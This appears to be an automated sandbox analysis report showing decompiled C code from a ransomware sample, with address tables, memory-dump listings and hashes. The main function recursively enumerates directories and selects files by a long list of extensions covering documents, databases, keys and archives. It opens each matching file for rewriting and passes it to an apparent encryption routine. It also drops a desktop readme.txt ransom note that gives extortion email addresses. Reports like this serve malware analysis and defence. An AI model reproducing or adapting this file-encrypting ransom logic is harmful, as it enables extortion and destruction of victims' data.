                                                                				char* _t198;
                                                                				void* _t201;
                                                                				void* _t202;
                                                                				signed int _t203;
                                                                				signed int _t204;
                                                                				char** _t206;
                                                                				signed int _t207;
                                                                				void* _t208;
                                                                				signed int _t209;
                                                                				intOrPtr _t212;
                                                                				intOrPtr* _t213;
                                                                				intOrPtr _t214;
                                                                				signed int _t215;
                                                                				intOrPtr _t217;
                                                                				void* _t221;
                                                                				void* _t222;
                                                                				void* _t223;
                                                                				void* _t228;
                                                                
                                                                				_t187 = __edx;
                                                                				_t217 =  *((intOrPtr*)(_t215 - 0x18));
                                                                				 *((intOrPtr*)(_t215 - 4)) = 0xfffffffe;
                                                                				_t213 =  *((intOrPtr*)(_t215 - 0x160c));
                                                                				while(1) {
                                                                					L75:
                                                                					_t201 =  *(_t215 - 0x1608);
                                                                					_t91 = FindNextFileA(_t201, _t215 - 0x15f0); // executed
                                                                					if(_t91 == 0) {
                                                                						break;
                                                                					}
                                                                					__eflags =  *(_t215 - 0x15f0) & 0x00000010;
                                                                					if(( *(_t215 - 0x15f0) & 0x00000010) != 0) {
                                                                						__eflags =  *(_t215 - 0x15c4) - 0x2e;
                                                                						if( *(_t215 - 0x15c4) != 0x2e) {
                                                                							_t92 = _t213;
                                                                							_t188 = _t92 + 1;
                                                                							do {
                                                                								_t167 =  *_t92;
                                                                								_t92 = _t92 + 1;
                                                                								__eflags = _t167;
                                                                							} while (_t167 != 0);
                                                                							_t93 = _t92 - _t188;
                                                                							__eflags = _t93;
                                                                							_t187 = _t93;
                                                                							_t94 = _t215 - 0x15c4;
                                                                							_t49 = _t94 + 1; // 0x2f
                                                                							_t202 = _t49;
                                                                							do {
                                                                								_t162 =  *_t94;
                                                                								_t94 = _t94 + 1;
                                                                								__eflags = _t162;
                                                                							} while (_t162 != 0);
                                                                							__eflags = _t94 - _t202 + _t187 - 0x514;
                                                                							if(_t94 - _t202 + _t187 < 0x514) {
                                                                								E00B8BB40(_t202, _t215 - 0xf98, 0, 0x514);
                                                                								E00B8BB40(_t202, _t215 - 0x568, 0, 0x514);
                                                                								_push(_t215 - 0x15c4);
                                                                								E00B89C35(_t202, _t213, _t215 - 0xf98, "%s%s", _t213);
                                                                								_t217 = _t217 + 0x28;
                                                                								_t102 = 0;
                                                                								do {
                                                                									_t178 =  *((intOrPtr*)(_t215 + _t102 - 0xf98));
                                                                									 *((char*)(_t215 + _t102 - 0x568)) = _t178;
                                                                									_t102 = _t102 + 1;
                                                                									__eflags = _t178;
                                                                								} while (_t178 != 0);
                                                                								_t203 = 0;
                                                                								__eflags = 0;
                                                                								_t103 = _t215 - 0x568;
                                                                								_t187 = _t103 + 1;
                                                                								do {
                                                                									_t179 =  *_t103;
                                                                									_t103 = _t103 + 1;
                                                                									__eflags = _t179;
                                                                								} while (_t179 != 0);
                                                                								__eflags = _t103 != _t187;
                                                                								if(_t103 != _t187) {
                                                                									do {
                                                                										_t121 = E00B8AFFA( *((char*)(_t215 + _t203 - 0x568)));
                                                                										_t217 = _t217 + 4;
                                                                										 *((char*)(_t215 + _t203 - 0x568)) = _t121;
                                                                										_t203 = _t203 + 1;
                                                                										__eflags = _t203;
                                                                										_t122 = _t215 - 0x568;
                                                                										_t187 = _t122 + 1;
                                                                										do {
                                                                											_t186 =  *_t122;
                                                                											_t122 = _t122 + 1;
                                                                											__eflags = _t186;
                                                                										} while (_t186 != 0);
                                                                										__eflags = _t203 - _t122 - _t187;
                                                                									} while (_t203 < _t122 - _t187);
                                                                								}
                                                                								_t204 = 0;
                                                                								__eflags =  *0xde9ef0;
                                                                								if( *0xde9ef0 != 0) {
                                                                									_t117 = 0xde9ef0;
                                                                									while(1) {
                                                                										_t187 = _t215 - 0x568;
                                                                										_t118 = E00B8A360(_t215 - 0x568, _t117);
                                                                										_t217 = _t217 + 8;
                                                                										__eflags = _t118;
                                                                										if(_t118 != 0) {
                                                                											break;
                                                                										}
                                                                										_t204 = _t204 + 1;
                                                                										_t117 = 0xde9ef0 + _t204 * 0xff;
                                                                										__eflags =  *_t117;
                                                                										if( *_t117 != 0) {
                                                                											continue;
                                                                										} else {
                                                                										}
                                                                										goto L63;
                                                                									}
                                                                									 *((char*)(_t215 - 0x15f1)) = 0;
                                                                								}
                                                                								L63:
                                                                								_t206 = _t215 - 0xf97;
                                                                								__eflags = _t206;
                                                                								do {
                                                                									_t105 = _t206[0];
                                                                									_t206 =  &(_t206[0]);
                                                                									__eflags = _t105;
                                                                								} while (_t105 != 0);
                                                                								_t162 = "\\"; // 0x5c
                                                                								 *_t206 = _t162;
                                                                								__eflags =  *((intOrPtr*)(_t215 - 0x15f1)) - _t105;
                                                                								if( *((intOrPtr*)(_t215 - 0x15f1)) != _t105) {
                                                                									_t106 = E00B8A360(_t215 - 0x568, "DESKTOP");
                                                                									_t228 = _t217 + 8;
                                                                									__eflags = _t106;
                                                                									if(_t106 != 0) {
                                                                										_t111 = _t215 - 0x567;
                                                                										__eflags = _t111;
                                                                										do {
                                                                											_t181 =  *(_t111 + 1);
                                                                											_t111 = _t111 + 1;
                                                                											__eflags = _t181;
                                                                										} while (_t181 != 0);
                                                                										_t182 = "/readme.txt"; // 0x6165722f
                                                                										 *_t111 = _t182;
                                                                										_t198 = M00BDF7C8; // 0x2e656d64
                                                                										 *((intOrPtr*)(_t111 + 4)) = _t198;
                                                                										_t183 =  *0xbdf7cc; // 0x747874
                                                                										 *((intOrPtr*)(_t111 + 8)) = _t183;
                                                                										_t112 = L00B8A96D(_t215 - 0x568, "w+"); // executed
                                                                										_t228 = _t228 + 8;
                                                                										_t207 = _t112;
                                                                										__eflags = _t207;
                                                                										if(_t207 != 0) {
                                                                											_t113 = 0xce9ef0;
                                                                											do {
                                                                												_t184 =  *_t113;
                                                                												_t113 = _t113 + 1;
                                                                												__eflags = _t184;
                                                                											} while (_t184 != 0);
                                                                											_t114 = _t113 - 0xce9ef1;
                                                                											__eflags = _t114;
                                                                											_push(_t207);
                                                                											_push(_t114);
                                                                											_push(1);
                                                                											_push("Your file has been encrypted!						 If you want to decrypt, please contact us.						 konedieyp@airmail.cc or uenwonken@memail.com						 And please send me the following hash!						 638428e5021d4ae247b21acf9c0bf6f6");
                                                                											E00B8ADA3(_t159, 0xce9ef1, _t207, _t213, __eflags);
                                                                											_push(_t207); // executed
                                                                											E00B8B1A7(_t159, 0xce9ef1, _t207, _t213, __eflags); // executed
                                                                											_t228 = _t228 + 0x14;
                                                                										}
                                                                									}
                                                                									_t162 = _t215 - 0xf98;
                                                                									_t187 =  *(_t215 - 0x1600);
                                                                									E00AB1640( *(_t215 - 0x1600), _t215 - 0xf98,  *(_t215 + 0x10),  *((intOrPtr*)(_t215 + 0x14)),  *((intOrPtr*)(_t215 - 0x15f8)),  *((intOrPtr*)(_t215 - 0x15fc))); // executed
                                                                									_t217 = _t228 + 0x18;
                                                                								}
                                                                								 *((char*)(_t215 - 0x15f1)) = 1;
                                                                							}
                                                                						}
                                                                					} else {
                                                                						_t125 = E00B8AE30(_t162, _t215 - 0x15c4, 0x2e);
                                                                						_t217 = _t217 + 8;
                                                                						_t159 = _t125;
                                                                						__eflags = _t159;
                                                                						if(_t159 != 0) {
                                                                							_t126 = _t213;
                                                                							_t189 = _t126 + 1;
                                                                							do {
                                                                								_t168 =  *_t126;
                                                                								_t126 = _t126 + 1;
                                                                								__eflags = _t168;
                                                                							} while (_t168 != 0);
                                                                							_t127 = _t126 - _t189;
                                                                							__eflags = _t127;
                                                                							_t187 = _t127;
                                                                							_t128 = _t215 - 0x15c4;
                                                                							_t208 = _t128 + 1;
                                                                							do {
                                                                								_t162 =  *_t128;
                                                                								_t128 = _t128 + 1;
                                                                								__eflags = _t162;
                                                                							} while (_t162 != 0);
                                                                							__eflags = _t128 - _t208 + _t187 - 0x514;
                                                                							if(_t128 - _t208 + _t187 < 0x514) {
                                                                								E00B8BB40(_t208, _t215 - 0x50, 0, 0x32);
                                                                								_t221 = _t217 + 0xc;
                                                                								_t132 = _t159;
                                                                								_t12 = _t132 + 1; // 0x1
                                                                								_t190 = _t12;
                                                                								do {
                                                                									_t170 =  *_t132;
                                                                									_t132 = _t132 + 1;
                                                                									__eflags = _t170;
                                                                								} while (_t170 != 0);
                                                                								__eflags = _t132 - _t190 - 0x32;
                                                                								if(_t132 - _t190 <= 0x32) {
                                                                									_t134 = _t159;
                                                                									_t13 = _t134 + 1; // 0x1
                                                                									_t191 = _t13;
                                                                									do {
                                                                										_t171 =  *_t134;
                                                                										_t134 = _t134 + 1;
                                                                										__eflags = _t171;
                                                                									} while (_t171 != 0);
                                                                									_t135 = _t134 - _t191;
                                                                									__eflags = _t134 - _t191;
                                                                								} else {
                                                                									_t135 = 0x32;
                                                                								}
                                                                								E00B8A6C0(_t215 - 0x50, _t159, _t135);
                                                                								_t222 = _t221 + 0xc;
                                                                								_t209 = 0;
                                                                								__eflags = 0;
                                                                								_t137 = _t215 - 0x50;
                                                                								_t187 = _t137 + 1;
                                                                								do {
                                                                									_t172 =  *_t137;
                                                                									_t137 = _t137 + 1;
                                                                									__eflags = _t172;
                                                                								} while (_t172 != 0);
                                                                								__eflags = _t137 != _t187;
                                                                								if(_t137 != _t187) {
                                                                									do {
                                                                										_t155 = E00B8AFFA( *((char*)(_t215 + _t209 - 0x50)));
                                                                										_t222 = _t222 + 4;
                                                                										 *((char*)(_t215 + _t209 - 0x50)) = _t155;
                                                                										_t209 = _t209 + 1;
                                                                										__eflags = _t209;
                                                                										_t156 = _t215 - 0x50;
                                                                										_t187 = _t156 + 1;
                                                                										do {
                                                                											_t176 =  *_t156;
                                                                											_t156 = _t156 + 1;
                                                                											__eflags = _t176;
                                                                										} while (_t176 != 0);
                                                                										__eflags = _t209 - _t156 - _t187;
                                                                									} while (_t209 < _t156 - _t187);
                                                                								}
                                                                								_t162 = _t215 - 0x50;
                                                                								_t139 = E00B8A360(".TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML  .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD  .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFS", _t215 - 0x50);
                                                                								_t217 = _t222 + 8;
                                                                								__eflags = _t139;
                                                                								if(_t139 != 0) {
                                                                									_t162 = "readme.txt";
                                                                									_t140 = _t215 - 0x15c4;
                                                                									while(1) {
                                                                										_t187 =  *_t140;
                                                                										__eflags = _t187 -  *_t162;
                                                                										if(_t187 !=  *_t162) {
                                                                											break;
                                                                										}
                                                                										__eflags = _t187;
                                                                										if(_t187 == 0) {
                                                                											L28:
                                                                											_t140 = 0;
                                                                										} else {
                                                                											_t187 =  *((intOrPtr*)(_t140 + 1));
                                                                											__eflags = _t187 - _t162[1];
                                                                											if(_t187 != _t162[1]) {
                                                                												break;
                                                                											} else {
                                                                												_t140 = _t140 + 2;
                                                                												_t162 =  &(_t162[2]);
                                                                												__eflags = _t187;
                                                                												if(_t187 != 0) {
                                                                													continue;
                                                                												} else {
                                                                													goto L28;
                                                                												}
                                                                											}
                                                                										}
                                                                										L30:
                                                                										__eflags = _t140;
                                                                										if(_t140 != 0) {
                                                                											E00B8BB40(_t209, _t215 - 0xa80, 0, 0x514);
                                                                											_t223 = _t217 + 0xc;
                                                                											_t142 = _t213;
                                                                											_t194 = _t142 + 1;
                                                                											do {
                                                                												_t173 =  *_t142;
                                                                												_t142 = _t142 + 1;
                                                                												__eflags = _t173;
                                                                											} while (_t173 != 0);
                                                                											_t143 = _t142 - _t194;
                                                                											__eflags =  *((char*)(_t143 + _t213 - 1)) - 0x5c;
                                                                											if( *((char*)(_t143 + _t213 - 1)) == 0x5c) {
                                                                												L38:
                                                                												_t187 = _t215 - 0x15c4;
                                                                												_push(_t215 - 0x15c4);
                                                                												_push(_t213);
                                                                												_push("%s%s");
                                                                												_push(_t215 - 0xa80);
                                                                											} else {
                                                                												_t151 = _t213;
                                                                												_t187 = _t151 + 1;
                                                                												do {
                                                                													_t174 =  *_t151;
                                                                													_t151 = _t151 + 1;
                                                                													__eflags = _t174;
                                                                												} while (_t174 != 0);
                                                                												_t152 = _t151 - _t187;
                                                                												__eflags =  *((char*)(_t152 + _t213 - 1)) - 0x2f;
                                                                												if( *((char*)(_t152 + _t213 - 1)) == 0x2f) {
                                                                													goto L38;
                                                                												} else {
                                                                													_push(_t215 - 0x15c4);
                                                                													_push(_t213);
                                                                													_push("%s\\%s");
                                                                													_push(_t215 - 0xa80);
                                                                												}
                                                                											}
                                                                											E00B89C35(_t209, _t213);
                                                                											 *((intOrPtr*)(_t215 - 4)) = 0;
                                                                											_t162 = _t215 - 0xa80;
                                                                											_t146 = L00B8A96D(_t215 - 0xa80, "rb+"); // executed
                                                                											_t217 = _t223 + 0x18;
                                                                											__eflags = _t146;
                                                                											if(__eflags != 0) {
                                                                												_push(_t146); // executed
                                                                												E00B8B1A7(_t159, _t187, _t209, _t213, __eflags); // executed
                                                                												_t210 =  *((intOrPtr*)(_t215 - 0x15f8));
                                                                												E00B8BB40( *((intOrPtr*)(_t215 - 0x15f8)),  *((intOrPtr*)(_t215 - 0x15f8)), 0, 0x100000);
                                                                												E00B8BB40( *((intOrPtr*)(_t215 - 0x15f8)),  *((intOrPtr*)(_t215 - 0x15fc)), 0, 0x100000);
                                                                												_t187 =  *(_t215 + 0x10);
                                                                												_t159 =  *(_t215 - 0x1600);
                                                                												E00AB15D0( *(_t215 - 0x1600), _t215 - 0xa80,  *(_t215 + 0x10), _t210,  *((intOrPtr*)(_t215 - 0x15fc)));
                                                                												_t217 = _t217 + 0x28;
                                                                											}
                                                                											 *((intOrPtr*)(_t215 - 4)) = 0xfffffffe;
                                                                										}
                                                                										goto L75;
                                                                									}
                                                                									asm("sbb eax, eax");
                                                                									asm("sbb eax, 0xffffffff");
                                                                									goto L30;
                                                                								}
                                                                							}
                                                                						}
                                                                					}
                                                                				}
                                                                				if(_t201 != 0xffffffff) {
                                                                					_t91 = FindClose(_t201); // executed
                                                                				}
                                                                				 *[fs:0x0] =  *((intOrPtr*)(_t215 - 0x10));
                                                                				_pop(_t212);
                                                                				_pop(_t214);
                                                                				_pop(_t160);
                                                                				return E00B89C26(_t91, _t160,  *(_t215 - 0x1c) ^ _t215, _t187, _t212, _t214);
                                                                			}










































































                                                                0x00ab1997
                                                                0x00ab1997
                                                                0x00ab199a
                                                                0x00ab19a1
                                                                0x00ab1bc3
                                                                0x00ab1bc3
                                                                0x00ab1bca
                                                                0x00ab1bd1
                                                                0x00ab1bd9
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1766
                                                                0x00ab176d
                                                                0x00ab19ac
                                                                0x00ab19b3
                                                                0x00ab19b9
                                                                0x00ab19bb
                                                                0x00ab19c0
                                                                0x00ab19c0
                                                                0x00ab19c2
                                                                0x00ab19c3
                                                                0x00ab19c3
                                                                0x00ab19c7
                                                                0x00ab19c7
                                                                0x00ab19c9
                                                                0x00ab19cb
                                                                0x00ab19d1
                                                                0x00ab19d1
                                                                0x00ab19d4
                                                                0x00ab19d4
                                                                0x00ab19d6
                                                                0x00ab19d7
                                                                0x00ab19d7
                                                                0x00ab19df
                                                                0x00ab19e4
                                                                0x00ab19f8
                                                                0x00ab1a0e
                                                                0x00ab1a1c
                                                                0x00ab1a2a
                                                                0x00ab1a2f
                                                                0x00ab1a32
                                                                0x00ab1a40
                                                                0x00ab1a40
                                                                0x00ab1a47
                                                                0x00ab1a4e
                                                                0x00ab1a4f
                                                                0x00ab1a4f
                                                                0x00ab1a53
                                                                0x00ab1a53
                                                                0x00ab1a55
                                                                0x00ab1a5b
                                                                0x00ab1a60
                                                                0x00ab1a60
                                                                0x00ab1a62
                                                                0x00ab1a63
                                                                0x00ab1a63
                                                                0x00ab1a67
                                                                0x00ab1a69
                                                                0x00ab1a70
                                                                0x00ab1a79
                                                                0x00ab1a7e
                                                                0x00ab1a81
                                                                0x00ab1a88
                                                                0x00ab1a88
                                                                0x00ab1a89
                                                                0x00ab1a8f
                                                                0x00ab1a92
                                                                0x00ab1a92
                                                                0x00ab1a94
                                                                0x00ab1a95
                                                                0x00ab1a95
                                                                0x00ab1a9b
                                                                0x00ab1a9b
                                                                0x00ab1a70
                                                                0x00ab1a9f
                                                                0x00ab1aa1
                                                                0x00ab1aa8
                                                                0x00ab1aaa
                                                                0x00ab1ab0
                                                                0x00ab1ab1
                                                                0x00ab1ab8
                                                                0x00ab1abd
                                                                0x00ab1ac0
                                                                0x00ab1ac2
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1ac4
                                                                0x00ab1acd
                                                                0x00ab1ad3
                                                                0x00ab1ad6
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1ad8
                                                                0x00000000
                                                                0x00ab1ad6
                                                                0x00ab1ada
                                                                0x00ab1ada
                                                                0x00ab1ae1
                                                                0x00ab1ae7
                                                                0x00ab1ae7
                                                                0x00ab1ae8
                                                                0x00ab1ae8
                                                                0x00ab1aeb
                                                                0x00ab1aec
                                                                0x00ab1aec
                                                                0x00ab1af0
                                                                0x00ab1af7
                                                                0x00ab1afa
                                                                0x00ab1b00
                                                                0x00ab1b12
                                                                0x00ab1b17
                                                                0x00ab1b1a
                                                                0x00ab1b1c
                                                                0x00ab1b24
                                                                0x00ab1b24
                                                                0x00ab1b25
                                                                0x00ab1b25
                                                                0x00ab1b28
                                                                0x00ab1b29
                                                                0x00ab1b29
                                                                0x00ab1b2d
                                                                0x00ab1b33
                                                                0x00ab1b35
                                                                0x00ab1b3b
                                                                0x00ab1b3e
                                                                0x00ab1b44
                                                                0x00ab1b53
                                                                0x00ab1b58
                                                                0x00ab1b5b
                                                                0x00ab1b5d
                                                                0x00ab1b5f
                                                                0x00ab1b61
                                                                0x00ab1b70
                                                                0x00ab1b70
                                                                0x00ab1b72
                                                                0x00ab1b73
                                                                0x00ab1b73
                                                                0x00ab1b77
                                                                0x00ab1b77
                                                                0x00ab1b79
                                                                0x00ab1b7a
                                                                0x00ab1b7b
                                                                0x00ab1b7d
                                                                0x00ab1b82
                                                                0x00ab1b87
                                                                0x00ab1b88
                                                                0x00ab1b8d
                                                                0x00ab1b8d
                                                                0x00ab1b5f
                                                                0x00ab1ba6
                                                                0x00ab1bad
                                                                0x00ab1bb4
                                                                0x00ab1bb9
                                                                0x00ab1bb9
                                                                0x00ab1bbc
                                                                0x00ab1bbc
                                                                0x00ab19e4
                                                                0x00ab1773
                                                                0x00ab177c
                                                                0x00ab1781
                                                                0x00ab1784
                                                                0x00ab1786
                                                                0x00ab1788
                                                                0x00ab178e
                                                                0x00ab1790
                                                                0x00ab1793
                                                                0x00ab1793
                                                                0x00ab1795
                                                                0x00ab1796
                                                                0x00ab1796
                                                                0x00ab179a
                                                                0x00ab179a
                                                                0x00ab179c
                                                                0x00ab179e
                                                                0x00ab17a4
                                                                0x00ab17a7
                                                                0x00ab17a7
                                                                0x00ab17a9
                                                                0x00ab17aa
                                                                0x00ab17aa
                                                                0x00ab17b2
                                                                0x00ab17b7
                                                                0x00ab17c5
                                                                0x00ab17ca
                                                                0x00ab17cd
                                                                0x00ab17cf
                                                                0x00ab17cf
                                                                0x00ab17d2
                                                                0x00ab17d2
                                                                0x00ab17d4
                                                                0x00ab17d5
                                                                0x00ab17d5
                                                                0x00ab17db
                                                                0x00ab17de
                                                                0x00ab17e7
                                                                0x00ab17e9
                                                                0x00ab17e9
                                                                0x00ab17f0
                                                                0x00ab17f0
                                                                0x00ab17f2
                                                                0x00ab17f3
                                                                0x00ab17f3
                                                                0x00ab17f7
                                                                0x00ab17f7
                                                                0x00ab17e0
                                                                0x00ab17e0
                                                                0x00ab17e0
                                                                0x00ab17ff
                                                                0x00ab1804
                                                                0x00ab1807
                                                                0x00ab1807
                                                                0x00ab1809
                                                                0x00ab180c
                                                                0x00ab1810
                                                                0x00ab1810
                                                                0x00ab1812
                                                                0x00ab1813
                                                                0x00ab1813
                                                                0x00ab1817
                                                                0x00ab1819
                                                                0x00ab1820
                                                                0x00ab1826
                                                                0x00ab182b
                                                                0x00ab182e
                                                                0x00ab1832
                                                                0x00ab1832
                                                                0x00ab1833
                                                                0x00ab1836
                                                                0x00ab1840
                                                                0x00ab1840
                                                                0x00ab1842
                                                                0x00ab1843
                                                                0x00ab1843
                                                                0x00ab1849
                                                                0x00ab1849
                                                                0x00ab1820
                                                                0x00ab184d
                                                                0x00ab1856
                                                                0x00ab185b
                                                                0x00ab185e
                                                                0x00ab1860
                                                                0x00ab1866
                                                                0x00ab186b
                                                                0x00ab1871
                                                                0x00ab1871
                                                                0x00ab1873
                                                                0x00ab1875
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab1877
                                                                0x00ab1879
                                                                0x00ab188d
                                                                0x00ab188d
                                                                0x00ab187b
                                                                0x00ab187b
                                                                0x00ab187e
                                                                0x00ab1881
                                                                0x00000000
                                                                0x00ab1883
                                                                0x00ab1883
                                                                0x00ab1886
                                                                0x00ab1889
                                                                0x00ab188b
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00000000
                                                                0x00ab188b
                                                                0x00ab1881
                                                                0x00ab1896
                                                                0x00ab1896
                                                                0x00ab1898
                                                                0x00ab18ac
                                                                0x00ab18b1
                                                                0x00ab18b4
                                                                0x00ab18b6
                                                                0x00ab18c0
                                                                0x00ab18c0
                                                                0x00ab18c2
                                                                0x00ab18c3
                                                                0x00ab18c3
                                                                0x00ab18c7
                                                                0x00ab18c9
                                                                0x00ab18ce
                                                                0x00ab18fb
                                                                0x00ab18fb
                                                                0x00ab1901
                                                                0x00ab1902
                                                                0x00ab1903
                                                                0x00ab190e
                                                                0x00ab18d0
                                                                0x00ab18d0
                                                                0x00ab18d2
                                                                0x00ab18d5
                                                                0x00ab18d5
                                                                0x00ab18d7
                                                                0x00ab18d8
                                                                0x00ab18d8
                                                                0x00ab18dc
                                                                0x00ab18de
                                                                0x00ab18e3
                                                                0x00000000
                                                                0x00ab18e5
                                                                0x00ab18eb
                                                                0x00ab18ec
                                                                0x00ab18ed
                                                                0x00ab18f8
                                                                0x00ab18f8
                                                                0x00ab18e3
                                                                0x00ab190f
                                                                0x00ab1917
                                                                0x00ab1923
                                                                0x00ab192a
                                                                0x00ab192f
                                                                0x00ab1932
                                                                0x00ab1934
                                                                0x00ab1936
                                                                0x00ab1937
                                                                0x00ab1946
                                                                0x00ab194d
                                                                0x00ab1963
                                                                0x00ab196d
                                                                0x00ab1977
                                                                0x00ab197d
                                                                0x00ab1982
                                                                0x00ab1982
                                                                0x00ab1985
                                                                0x00ab1985
                                                                0x00000000
                                                                0x00ab1898
                                                                0x00ab1891
                                                                0x00ab1893
                                                                0x00000000
                                                                0x00ab1893
                                                                0x00ab1860
                                                                0x00ab17b7
                                                                0x00ab1788
                                                                0x00ab176d
                                                                0x00ab1be2
                                                                0x00ab1be5
                                                                0x00ab1be5
                                                                0x00ab1bee
                                                                0x00ab1bf6
                                                                0x00ab1bf7
                                                                0x00ab1bf8
                                                                0x00ab1c06

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: Find$CloseFileNext_memset_strncpy_strrchr
                                                                • String ID:
                                                                • API String ID: 1886237078-0
                                                                • Opcode ID: 4e6eada1577ce5cf06eb5aa3a5f7f12be25f1c8977fcbe304f10911ee51b8169
                                                                • Instruction ID: a5abd84c79d2a0215c89df0c06842aa3ed81c9556cf4a5097a86491c1693dff4
                                                                • Opcode Fuzzy Hash: 4e6eada1577ce5cf06eb5aa3a5f7f12be25f1c8977fcbe304f10911ee51b8169
                                                                • Instruction Fuzzy Hash: 22F08272E041098BCB24DB549D516FEB3B8EB89331F54029AE82AA3290EB312D418B50
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 75%
                                                                			E00B8A637(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
                                                                				intOrPtr _t13;
                                                                				void* _t22;
                                                                
                                                                				_push(0xc);
                                                                				_push(0xbdf9c0);
                                                                				E00B90838(__ebx, __edi, __esi);
                                                                				E00B8A4BD( *((intOrPtr*)(_t22 + 8)));
                                                                				 *(_t22 - 4) =  *(_t22 - 4) & 0x00000000;
                                                                				_t13 = E00B8A59B(__ebx, __edx,  *((intOrPtr*)(_t22 + 8)),  *((intOrPtr*)(_t22 + 0xc)),  *((intOrPtr*)(_t22 + 0x10)),  *((intOrPtr*)(_t22 + 0x14))); // executed
                                                                				 *((intOrPtr*)(_t22 - 0x1c)) = _t13;
                                                                				 *(_t22 - 4) = 0xfffffffe;
                                                                				E00B8A67C();
                                                                				return E00B9087D( *((intOrPtr*)(_t22 - 0x1c)));
                                                                			}





                                                                0x00b8a637
                                                                0x00b8a639
                                                                0x00b8a63e
                                                                0x00b8a646
                                                                0x00b8a64c
                                                                0x00b8a65c
                                                                0x00b8a664
                                                                0x00b8a667
                                                                0x00b8a66e
                                                                0x00b8a67b

                                                                APIs
                                                                • __lock_file.LIBCMT ref: 00B8A646
                                                                  • Part of subcall function 00B8A4BD: __lock.LIBCMT ref: 00B8A4E2
                                                                • __fseeki64_nolock.LIBCMT ref: 00B8A65C
                                                                  • Part of subcall function 00B8A59B: __ftelli64_nolock.LIBCMT ref: 00B8A5C9
                                                                  • Part of subcall function 00B8A59B: __flush.LIBCMT ref: 00B8A5D8
                                                                  • Part of subcall function 00B8A59B: __fileno.LIBCMT ref: 00B8A60B
                                                                  • Part of subcall function 00B8A59B: __lseeki64.LIBCMT ref: 00B8A612
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID: __fileno__flush__fseeki64_nolock__ftelli64_nolock__lock__lock_file__lseeki64
                                                                • String ID:
                                                                • API String ID: 3130368316-0
                                                                • Opcode ID: b211c8984a97e81cda1aa85c60ffd13785d15a9cde68c3fc5bd86b606fd9accc
                                                                • Instruction ID: 4d573d1967b0b31cadebca83fb54fbdc45c2b2bb5865d3d35cfdc4094d4c8eda
                                                                • Opcode Fuzzy Hash: b211c8984a97e81cda1aa85c60ffd13785d15a9cde68c3fc5bd86b606fd9accc
                                                                • Instruction Fuzzy Hash: CDE01A32940209FBEF01BFA4DC02BDD7BB1AF14310F1481A5F5246A1B1D73A8661DB81
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 82%
                                                                			E00B99B10(void* __edx, void* __esi, void* __eflags) {
                                                                				void* _t3;
                                                                				void* _t7;
                                                                				void* _t10;
                                                                				void* _t13;
                                                                				intOrPtr _t15;
                                                                				intOrPtr _t16;
                                                                
                                                                				_push(8);
                                                                				_push(0xbdffe0);
                                                                				_t3 = E00B90838(_t7, _t10, __esi);
                                                                				_t15 =  *0xbe9e5c; // 0x1
                                                                				if(_t15 == 0) {
                                                                					E00B8FD40(_t7, _t10, 6);
                                                                					 *((intOrPtr*)(_t13 - 4)) = 0;
                                                                					_t16 =  *0xbe9e5c; // 0x1
                                                                					if(_t16 == 0) {
                                                                						E00B993FB(_t7, __edx, _t10, 0, _t16); // executed
                                                                						 *0xbe9e5c =  *0xbe9e5c + 1;
                                                                					}
                                                                					 *((intOrPtr*)(_t13 - 4)) = 0xfffffffe;
                                                                					_t3 = E00B99B56();
                                                                				}
                                                                				return E00B9087D(_t3);
                                                                			}









                                                                0x00b99b10
                                                                0x00b99b12
                                                                0x00b99b17
                                                                0x00b99b1e
                                                                0x00b99b24
                                                                0x00b99b28
                                                                0x00b99b2e
                                                                0x00b99b31
                                                                0x00b99b37
                                                                0x00b99b39
